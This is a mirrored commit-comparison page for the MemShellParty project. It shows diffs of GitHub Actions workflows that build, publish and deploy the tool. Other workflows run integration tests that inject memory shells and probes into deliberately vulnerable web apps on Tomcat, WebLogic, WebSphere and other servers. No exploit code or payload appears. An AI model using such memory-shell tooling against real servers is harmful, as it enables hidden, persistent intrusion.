mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a1f32c5bf2 | ||
|
|
6b10b3f56f | ||
|
|
3e3d82218c | ||
|
|
202924aa54 | ||
|
|
054e22bc3d | ||
|
|
fa92930353 | ||
|
|
52437d67be | ||
|
|
117b48a9d0 | ||
|
|
3fe9a932ba | ||
|
|
1772c08f22 | ||
|
|
e44caeba1b | ||
|
|
4f080df85a | ||
|
|
7562469b44 | ||
|
|
359931a881 | ||
|
|
8c20f18c70 | ||
|
|
dace117e73 | ||
|
|
5c0d26ae16 | ||
|
|
8e9d47bbea | ||
|
|
c1f1802182 | ||
|
|
dc7958e123 | ||
|
|
d59bb9d29f | ||
|
|
3e966f8fab | ||
|
|
f940a528f0 | ||
|
|
0b48dd64bd | ||
|
|
bf213ae575 | ||
|
|
c8ede922b9 | ||
|
|
c0a059fbdc | ||
|
|
b4f8e62fc7 | ||
|
|
1c0d65b353 | ||
|
|
f26727e6fc | ||
|
|
2b1388c8eb | ||
|
|
9f7b4276e2 | ||
|
|
b992e5f60e | ||
|
|
de69a63be5 | ||
|
|
de462ae8b0 | ||
|
|
d873dae8f3 | ||
|
|
3e2fb861cd | ||
|
|
cbc71e5a52 | ||
|
|
ad8d2713ad | ||
|
|
b04a34f1ab | ||
|
|
2f325934e1 | ||
|
|
b47e437889 | ||
|
|
d1edb8fbdf | ||
|
|
7f176dd443 | ||
|
|
43c410e653 | ||
|
|
b9efe6dac5 | ||
|
|
930edbc8b0 | ||
|
|
0f473311f9 | ||
|
|
b412e9206d | ||
|
|
d9205aaff7 | ||
|
|
4dda9236ca | ||
|
|
694e60bd23 | ||
|
|
25ffe5bb14 | ||
|
|
e9265b52f5 | ||
|
|
e872e0cd06 | ||
|
|
b6219628ae | ||
|
|
0d1fab8740 | ||
|
|
e9fb20fa07 | ||
|
|
97e365e935 | ||
|
|
75e3ed595a | ||
|
|
ab4ad88d6e | ||
|
|
9abea930b3 | ||
|
|
ab8773b177 | ||
|
|
0de0efef9c | ||
|
|
3d5851f3ae | ||
|
|
9c298a2303 | ||
|
|
b846f67c34 | ||
|
|
1e5f7dd281 | ||
|
|
37832ee768 | ||
|
|
a59282b2a9 | ||
|
|
bf151faa1c | ||
|
|
11c439f6c6 | ||
|
|
a10386457c | ||
|
|
dd9333e473 | ||
|
|
d7a67b3056 | ||
|
|
e41f8347c6 | ||
|
|
47b628ee5b | ||
|
|
970e260b16 | ||
|
|
ebfb9323f8 | ||
|
|
818f42048d | ||
|
|
554719a447 | ||
|
|
42a9c00263 | ||
|
|
b1b44dbc4c | ||
|
|
0c5847b4dd | ||
|
|
ef1a77d11d | ||
|
|
8551c3b18f | ||
|
|
c1631b9401 | ||
|
|
e1a852a301 | ||
|
|
4fd1e4170f | ||
|
|
73f5694cac | ||
|
|
bac3023dfa | ||
|
|
baeb3daa50 | ||
|
|
5d28df0e39 | ||
|
|
b29d83d3b4 | ||
|
|
605379907b | ||
|
|
84c61629ff | ||
|
|
4a207e583a | ||
|
|
afb3d46080 | ||
|
|
102173b924 | ||
|
|
8b8cc7173d | ||
|
|
c43d87eea1 | ||
|
|
11e58495fc | ||
|
|
8491d6f964 | ||
|
|
1cf5f37086 | ||
|
|
cd8111d0d7 | ||
|
|
653665e479 | ||
|
|
79c3e0d929 | ||
|
|
50a60c4c65 | ||
|
|
90c20b5388 | ||
|
|
4652f644e4 | ||
|
|
c21d47140f | ||
|
|
fc3961a6bf | ||
|
|
962264f13e | ||
|
|
75495aee20 | ||
|
|
13a83d510b | ||
|
|
2582a12785 | ||
|
|
05bfa6fd1c | ||
|
|
40e6c55b6d | ||
|
|
bfda586d58 | ||
|
|
f0c88ab914 | ||
|
|
504dde9335 | ||
|
|
e4e86d2c8d | ||
|
|
dc898fd214 | ||
|
|
0ec52dd167 | ||
|
|
fac0748055 | ||
|
|
1926259fab | ||
|
|
bebd374737 | ||
|
|
6b1a569be9 | ||
|
|
bd308fae10 | ||
|
|
05729fc458 | ||
|
|
59fd17355b | ||
|
|
5e8529a0c7 | ||
|
|
f0526eeb28 | ||
|
|
fab623ac4f | ||
|
|
e9a0eb61d9 | ||
|
|
4f86572192 | ||
|
|
2216aafcad | ||
|
|
39b09cecb1 | ||
|
|
9be935694c | ||
|
|
8d68e18a23 | ||
|
|
29207c1b53 | ||
|
|
8c77a4049b | ||
|
|
1cf3c58b7b | ||
|
|
05892d4b8b | ||
|
|
4be54c0ecb | ||
|
|
5a614e3b39 | ||
|
|
34e1e53b67 | ||
|
|
13097cec99 | ||
|
|
b4af77ddb2 | ||
|
|
245ec99839 | ||
|
|
81926b0a78 | ||
|
|
6ccd139444 | ||
|
|
fd1a560aa2 | ||
|
|
55f676553c | ||
|
|
26b4f48e98 | ||
|
|
131222cf29 | ||
|
|
7b390b7773 | ||
|
|
f8696dada5 | ||
|
|
0e0307fb97 | ||
|
|
798e447ab6 | ||
|
|
c495ef46a4 | ||
|
|
69ef9ab230 | ||
|
|
d6ef24b878 | ||
|
|
d06f238e2f | ||
|
|
12d2a191b2 | ||
|
|
86b31b193d | ||
|
|
beb22b3ab1 | ||
|
|
d0acb7712a | ||
|
|
e7c69befe8 | ||
|
|
4134c7233b | ||
|
|
d179ceada7 | ||
|
|
799302348f | ||
|
|
9b849b6e39 | ||
|
|
e7b5430075 | ||
|
|
6942affbc8 | ||
|
|
48a65574aa | ||
|
|
ee1b2db869 | ||
|
|
1879eaab22 | ||
|
|
4ab8ecba13 | ||
|
|
2e5de88f97 | ||
|
|
842200280d | ||
|
|
ab3f7d1043 | ||
|
|
b476c9a542 | ||
|
|
5239b8cb5d | ||
|
|
f88c5d5606 | ||
|
|
b1e3d6aef1 | ||
|
|
8897c4c607 | ||
|
|
92c0d1d8a8 | ||
|
|
c31c3bd958 | ||
|
|
e1f0e7f4bd | ||
|
|
c272a5387d | ||
|
|
44abb44670 | ||
|
|
1120c215d4 | ||
|
|
aa140a8777 | ||
|
|
88af60fea4 | ||
|
|
9b7d244837 | ||
|
|
460465fe35 | ||
|
|
f33972e460 | ||
|
|
da16649e6f | ||
|
|
d7eaf5c068 | ||
|
|
8286dcd4c3 | ||
|
|
ba449cc8e4 | ||
|
|
e844bd5871 | ||
|
|
8f2872e542 | ||
|
|
1c28a5d4ba | ||
|
|
9925d901f5 | ||
|
|
ed50e93183 | ||
|
|
7baa728d0c | ||
|
|
5cc7f7f2e8 | ||
|
|
828556f82b | ||
|
|
134d1f6f4c | ||
|
|
e2272255ca | ||
|
|
3a437512c7 | ||
|
|
2fd2e549ad | ||
|
|
33ce7f3bb0 | ||
|
|
9796cdca97 | ||
|
|
50af147fc9 | ||
|
|
e0385acf8b | ||
|
|
2acafba2f3 | ||
|
|
020d508f7a | ||
|
|
c42969e73e | ||
|
|
6c76a90f03 | ||
|
|
feeb7014fb | ||
|
|
5f7b398ddb | ||
|
|
2b32b741d6 | ||
|
|
2b8e1f5de7 | ||
|
|
a7a5d461fe | ||
|
|
dd727fbe9c | ||
|
|
f544563315 | ||
|
|
ebd97529ad | ||
|
|
82f46deb76 | ||
|
|
6896426811 | ||
|
|
e006814e96 | ||
|
|
6be89d2448 | ||
|
|
db40ac86d8 | ||
|
|
6a475983db | ||
|
|
5aae3c4dbe | ||
|
|
3f5a2ddb6b | ||
|
|
a5f6411444 | ||
|
|
ede8a649bc | ||
|
|
ff49fe1f0c | ||
|
|
29150c56c9 | ||
|
|
a1f3bd5b6c | ||
|
|
d4efc69643 | ||
|
|
7e3e97d79a | ||
|
|
7c9d330909 | ||
|
|
1c320d7de6 | ||
|
|
a330f6fe29 | ||
|
|
f9dce4f84b | ||
|
|
d4bde3baad | ||
|
|
99b40a945f | ||
|
|
31e1e26488 | ||
|
|
4a3bc0c40a | ||
|
|
3102f10d7b | ||
|
|
4ea5ef68f9 | ||
|
|
8bff3b24c7 | ||
|
|
6361e4d50b | ||
|
|
5fb85f9ff1 | ||
|
|
73c05bc6c6 | ||
|
|
5f153a9052 | ||
|
|
37d3086ca5 | ||
|
|
a4bdde14dd | ||
|
|
c451e42188 | ||
|
|
1a8443b08c | ||
|
|
d37089f063 | ||
|
|
55fc9f8cc0 | ||
|
|
28868f5769 | ||
|
|
c5b753abe5 | ||
|
|
e556cfa80a | ||
|
|
67f21b0abf | ||
|
|
466d236ba2 | ||
|
|
78cbc3bb6c | ||
|
|
9fe2630c36 | ||
|
|
f09ae066bd | ||
|
|
b2520eebac | ||
|
|
65e23040ae | ||
|
|
22123cec7e | ||
|
|
7f7e48233b | ||
|
|
58341b4f7c | ||
|
|
ba04db93be | ||
|
|
57a653235b | ||
|
|
5b2a47e499 | ||
|
|
95617a787b | ||
|
|
83fe7cad8c | ||
|
|
afa8f9dd06 | ||
|
|
b6fca022f9 | ||
|
|
9fa01834e7 | ||
|
|
85b7750ab8 | ||
|
|
9c5dc1fa9d | ||
|
|
a833e3acdd | ||
|
|
b12a8530f2 | ||
|
|
74701926b6 | ||
|
|
a371c6adb6 | ||
|
|
cd9c9ef162 | ||
|
|
d4ff5fdf65 | ||
|
|
1dc27116f1 | ||
|
|
f43218b5e1 | ||
|
|
04bbddee6b | ||
|
|
59cf8674f1 | ||
|
|
9572b90cef | ||
|
|
96044dc231 | ||
|
|
bae97ec554 | ||
|
|
b6ba3c632a | ||
|
|
453ef58b15 | ||
|
|
a37e32deb2 | ||
|
|
faee94d77e | ||
|
|
b0e2e218f0 | ||
|
|
6fee88d761 | ||
|
|
d6613f770a | ||
|
|
5627604ba9 | ||
|
|
c1e0fbbc18 | ||
|
|
74079d81ed | ||
|
|
9792f242ce | ||
|
|
3ae57d6b67 | ||
|
|
69f554ae4e | ||
|
|
8565dd9c52 | ||
|
|
021e0a3e9d | ||
|
|
dc958d49df | ||
|
|
5f83b52bc0 | ||
|
|
59bcd6aecf | ||
|
|
d1a2912428 | ||
|
|
006cce6a74 | ||
|
|
8d240f2a50 | ||
|
|
9d03c04dfa | ||
|
|
8e4dd5ab6a | ||
|
|
8ae71c5b6b | ||
|
|
566286a8fa | ||
|
|
9692ab6e7b | ||
|
|
c75cb2f8ef | ||
|
|
e31fcdeca9 | ||
|
|
f734e3c391 | ||
|
|
8558487b6c | ||
|
|
c5ad3e81cb | ||
|
|
18c0920c27 | ||
|
|
ddfa273938 | ||
|
|
4a1359a736 | ||
|
|
d197691bed | ||
|
|
f7e401bd46 | ||
|
|
cd10fe9a2c | ||
|
|
21acf71af6 | ||
|
|
bb8e4c7a7e | ||
|
|
627ecf6465 | ||
|
|
0658f103cc | ||
|
|
b134b5a5a7 | ||
|
|
cc6bed07a1 | ||
|
|
5d5f866744 | ||
|
|
cf82dd9470 | ||
|
|
b06a39d1b8 | ||
|
|
19faf77d5c | ||
|
|
a3704eb7b7 | ||
|
|
eeed6e45c7 | ||
|
|
3c1c1cb8fc | ||
|
|
26d72cb909 | ||
|
|
70c128ced1 | ||
|
|
dd2d9a8a3e | ||
|
|
ea955feccd | ||
|
|
6c84c44005 | ||
|
|
b581583dce | ||
|
|
a037e5d043 | ||
|
|
06dc282cff | ||
|
|
cae0a38a7a | ||
|
|
d69df0d1c1 | ||
|
|
942fa3ec68 | ||
|
|
f52efcb7a2 | ||
|
|
f55702ecda | ||
|
|
bc53918455 | ||
|
|
ac2b28c1f3 | ||
|
|
e68355df8b | ||
|
|
e4a5215f5f | ||
|
|
4f8ff51f8b | ||
|
|
fc9877aa3a | ||
|
|
8bb338d5a1 | ||
|
|
0e2abdecb3 | ||
|
|
f934e1e7ed | ||
|
|
330544c7f7 | ||
|
|
0fe51f8ec0 | ||
|
|
d2efb56dbc | ||
|
|
827462bcc6 | ||
|
|
e59678188a | ||
|
|
0ea1e7baba | ||
|
|
d0ee5c66bf | ||
|
|
0ee64df302 | ||
|
|
565d05340e | ||
|
|
761de0af90 | ||
|
|
50a9aec83c | ||
|
|
3ecdbf020d | ||
|
|
65d097c43d | ||
|
|
825c276d4e | ||
|
|
b8f3b67ba4 | ||
|
|
59621eefec | ||
|
|
a0e9dfbc85 | ||
|
|
98281f0eae | ||
|
|
2851c5d9e0 | ||
|
|
02bc358498 | ||
|
|
2fe3f82ebc | ||
|
|
8e89db5b96 | ||
|
|
8f46ea2e5e | ||
|
|
9299764994 | ||
|
|
d0b3ad2d95 | ||
|
|
29f854c6dd | ||
|
|
29d0d1b1e7 | ||
|
|
93fc7205cc | ||
|
|
f86675aee1 | ||
|
|
ecfe751f38 | ||
|
|
8e3dee8d13 | ||
|
|
6a899d9f92 | ||
|
|
7bb4890443 | ||
|
|
66c6403dd7 | ||
|
|
9fa0cdd089 | ||
|
|
abe55ba17e | ||
|
|
feb5a2b44a | ||
|
|
bc5e813064 | ||
|
|
bfb7280c47 | ||
|
|
8c9cb252db | ||
|
|
a441e468fb | ||
|
|
f280cddb67 | ||
|
|
b6de448171 | ||
|
|
81f42aae39 | ||
|
|
da5db939be | ||
|
|
e1540f1c05 | ||
|
|
accf83ac9d | ||
|
|
f57ee7536c | ||
|
|
ffd2a636f4 | ||
|
|
6b47b8e488 | ||
|
|
85e9eb8c70 | ||
|
|
47ea535fac | ||
|
|
540559653f | ||
|
|
8a0e3ee5de | ||
|
|
bc9ce37a52 | ||
|
|
02c7abd086 | ||
|
|
8eab3f5633 | ||
|
|
0f03072b56 | ||
|
|
2f59fc80fb | ||
|
|
901a2b3af0 | ||
|
|
8deff1c8d9 | ||
|
|
ad05c8f2da | ||
|
|
e228065aa0 | ||
|
|
af0135286d | ||
|
|
722da5560e | ||
|
|
b6e34e4beb | ||
|
|
3ced92f2d0 | ||
|
|
476d92f173 | ||
|
|
3c7fd8aca5 | ||
|
|
c93ab0e7e0 | ||
|
|
89cd4fef62 | ||
|
|
e6d9ddb210 | ||
|
|
a042900052 | ||
|
|
23d3628786 | ||
|
|
4a9217aa3a | ||
|
|
dd4832a5a8 | ||
|
|
db579ce39e | ||
|
|
4c70dc9148 | ||
|
|
d97ddbd1cc | ||
|
|
b8e91a3697 | ||
|
|
5d97780e34 | ||
|
|
a7751a0467 | ||
|
|
5abaa5bbc1 | ||
|
|
b3780135bb | ||
|
|
c1fefd3510 | ||
|
|
ff70a5f2fe | ||
|
|
d7faa6a59f |
@@ -9,7 +9,7 @@ if __name__ == '__main__':
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
version = args.version
|
version = args.version
|
||||||
|
|
||||||
with open("../../CHANGELOG.md") as f:
|
with open("../../web/content/docs/changelog.mdx") as f:
|
||||||
lines = f.readlines()
|
lines = f.readlines()
|
||||||
for line in lines:
|
for line in lines:
|
||||||
if line.startswith(f"## [{version}]"):
|
if line.startswith(f"## [{version}]"):
|
||||||
|
|||||||
@@ -0,0 +1,130 @@
|
|||||||
|
name: "Dev Deploy"
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- dev
|
||||||
|
paths-ignore:
|
||||||
|
- 'docs/**'
|
||||||
|
- '**.md'
|
||||||
|
- '**/*.png'
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build-jar:
|
||||||
|
name: Build Jar
|
||||||
|
strategy:
|
||||||
|
matrix:
|
||||||
|
os: [ubuntu-latest, windows-latest]
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Setup Node
|
||||||
|
uses: actions/setup-node@v6
|
||||||
|
with:
|
||||||
|
node-version: 22
|
||||||
|
|
||||||
|
- name: Setup Bun
|
||||||
|
uses: oven-sh/setup-bun@v2
|
||||||
|
with:
|
||||||
|
bun-version: latest
|
||||||
|
|
||||||
|
- name: Build Web with Bun
|
||||||
|
working-directory: web
|
||||||
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
|
- name: Build Boot with Gradle (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
|
run: ./gradlew :boot:test :boot:bootjar
|
||||||
|
|
||||||
|
- name: Build Boot with Gradle (Windows)
|
||||||
|
if: matrix.os == 'windows-latest'
|
||||||
|
run: ./gradlew.bat :boot:test :boot:bootjar
|
||||||
|
|
||||||
|
- name: Upload Boot Jar (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: boot
|
||||||
|
path: boot/build/libs/*.jar
|
||||||
|
|
||||||
|
docker-push:
|
||||||
|
name: Docker Push
|
||||||
|
needs: [ build-jar ]
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Download Boot Jar
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: boot
|
||||||
|
path: boot/build/libs
|
||||||
|
|
||||||
|
- name: Login to Docker Hub
|
||||||
|
uses: docker/login-action@v3
|
||||||
|
with:
|
||||||
|
registry: docker.io
|
||||||
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
|
- name: Set up QEMU
|
||||||
|
uses: docker/setup-qemu-action@v3
|
||||||
|
- name: Set up Docker Buildx
|
||||||
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
|
- name: Build and push
|
||||||
|
uses: docker/build-push-action@v6
|
||||||
|
with:
|
||||||
|
context: boot
|
||||||
|
platforms: linux/amd64,linux/arm64
|
||||||
|
push: true
|
||||||
|
tags: docker.io/reajason/memshell-party:dev
|
||||||
|
|
||||||
|
deploy-maven:
|
||||||
|
name: Deploy to Maven Central
|
||||||
|
needs: [ build-jar ]
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Publish with Gradle
|
||||||
|
env:
|
||||||
|
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
||||||
|
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
||||||
|
run: ./gradlew publishAllToMavenCentral
|
||||||
|
|
||||||
|
deploy-northflank:
|
||||||
|
name: Deploy to Northflank
|
||||||
|
needs: [ docker-push ]
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
env:
|
||||||
|
NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
|
||||||
|
steps:
|
||||||
|
- name: Update Deployment
|
||||||
|
run: |
|
||||||
|
curl --header "Content-Type: application/json" \
|
||||||
|
--header "Authorization: Bearer $NORTHFLANK_API_KEY" \
|
||||||
|
--request POST \
|
||||||
|
--data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
|
||||||
|
https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
name: Docker Build Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- master
|
||||||
|
paths-ignore:
|
||||||
|
- 'docs/**'
|
||||||
|
- 'boot/**'
|
||||||
|
- 'examples/**'
|
||||||
|
- 'vul/**'
|
||||||
|
- 'web/**'
|
||||||
|
- '**.md'
|
||||||
|
- '**/*.png'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
docker-build-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
- name: Build Docker image
|
||||||
|
run: |
|
||||||
|
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||||
|
docker images
|
||||||
|
- name: Run Docker container
|
||||||
|
run: |
|
||||||
|
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||||
|
sleep 10
|
||||||
|
- name: Test with curl
|
||||||
|
run: |
|
||||||
|
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
|
||||||
|
echo "Test successful!"
|
||||||
|
else
|
||||||
|
echo "Test failed!"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
name: docker-push
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
path:
|
||||||
|
description: 'Path'
|
||||||
|
required: true
|
||||||
|
default: '/redqueen-memshell-party'
|
||||||
|
tag:
|
||||||
|
description: "Tag"
|
||||||
|
required: true
|
||||||
|
default: "redqueen"
|
||||||
|
jobs:
|
||||||
|
docker-push:
|
||||||
|
name: Docker Push
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- name: Login to Docker Hub
|
||||||
|
uses: docker/login-action@v3
|
||||||
|
with:
|
||||||
|
registry: docker.io
|
||||||
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
|
- name: Set up QEMU
|
||||||
|
uses: docker/setup-qemu-action@v3
|
||||||
|
- name: Set up Docker Buildx
|
||||||
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
|
- name: Build and push RedQueen
|
||||||
|
uses: docker/build-push-action@v6
|
||||||
|
with:
|
||||||
|
context: .
|
||||||
|
platforms: linux/amd64,linux/arm64
|
||||||
|
build-args: |
|
||||||
|
ROUTE_ROOT_PATH=${{ inputs.path }}
|
||||||
|
CONTEXT_PATH=${{ inputs.path }}
|
||||||
|
push: true
|
||||||
|
tags: |
|
||||||
|
docker.io/reajason/memshell-party:${{ inputs.tag }}
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
name: MemShell IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths:
|
||||||
|
- './github/workflows/memshell-integration-test.yml'
|
||||||
|
- '**/memshell/**'
|
||||||
|
- '**/packer/**'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
memshell-integration-test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
cases:
|
||||||
|
- middleware: "tomcat"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jetty"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "wildfly"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "glassfish"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "resin"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springwebmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "springwebflux"
|
||||||
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
|
- middleware: "xxljob"
|
||||||
|
depend_tasks: ""
|
||||||
|
- middleware: "struct2"
|
||||||
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: ${{ matrix.cases.middleware }}
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
name: Probe IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths:
|
||||||
|
- '**/probe/**'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
cases:
|
||||||
|
- middleware: "tomcat"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jetty"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "wildfly"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "glassfish"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "resin"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springwebmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "struct2"
|
||||||
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: ${{ matrix.cases.middleware }}
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
